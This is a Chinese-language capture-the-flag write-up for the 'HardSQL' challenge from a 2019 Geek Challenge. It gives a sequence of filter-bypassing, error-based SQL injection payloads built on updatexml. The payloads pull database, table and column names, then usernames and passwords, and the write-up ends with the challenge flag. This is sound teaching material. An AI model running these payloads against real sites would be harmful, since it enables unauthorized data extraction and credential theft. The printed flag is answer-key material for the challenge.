[极客大挑战 2019]HardSQL 1
首先打开题目,明显的发现这是一个sql注入的题:
我们先用 ’ 和 " 测试是否有注入报错。
发现用 ’ 时报错:
所以这题很明显是有sql注入的,于是我们就利用用语句:
admin’ or 1=1#
测试得到:
发现这里是有过滤的于是就用BP跑一下,看过滤了些什么得到:
发现过滤了空格,=,<>,>,<,!,substr等
所以我们先测试成功登录后的页面:
用:admin’or((1)like(1))#
得到:
页面返回登录成功,并无其它信息,但刚刚用’时出现报错
可能出现报错注入
于是我们用报错注入试试;
admin’or(updatexml(’~’,concat(’~’,database(),’~’),’~’))#
得到:
成功报错库名,所以报错注入能成功
于是开始下一步:查看所有库名:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(schema_name))from(information_schema.schemata)),’~’),’~’))#
得到:
发现信息不完整于是想到可能长度不够,于是利用right(),从右边截取
长度看看:
用:
admin’or(updatexml(’~’,right(concat(’~’,(select(group_concat(schema_name))from(information_schema.schemata)),’~’),45),’~’))#
得到另一般信息:
我们在查看当前数据库geek的表名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(“geek”))),’~’),’~’))#
然后,我们在接着查看表里面的字段名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like(“H4rDsq1”))),’~’),’~’))#
得到字段有id,username,password
我们一般都是想看用户名和密码:
查看用户名:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(username))from(geek.H4rDsq1)),’~’),’~’))#
发现flag
在继续查看密码得到:
用:
admin’or(updatexml(’~’,concat(’~’,(select(group_concat(password))from(geek.H4rDsq1)),’~’),’~’))#
发现flag只有一般在查看另一般:
用:
admin’or(updatexml(’~’,right(concat(’~’,(select(group_concat(password))from(geek.H4rDsq1)),’~’),20),’~’))#
得到完整的flag:
flag{e7534702-af2e-4fce-99e7-5d3734d4cab2}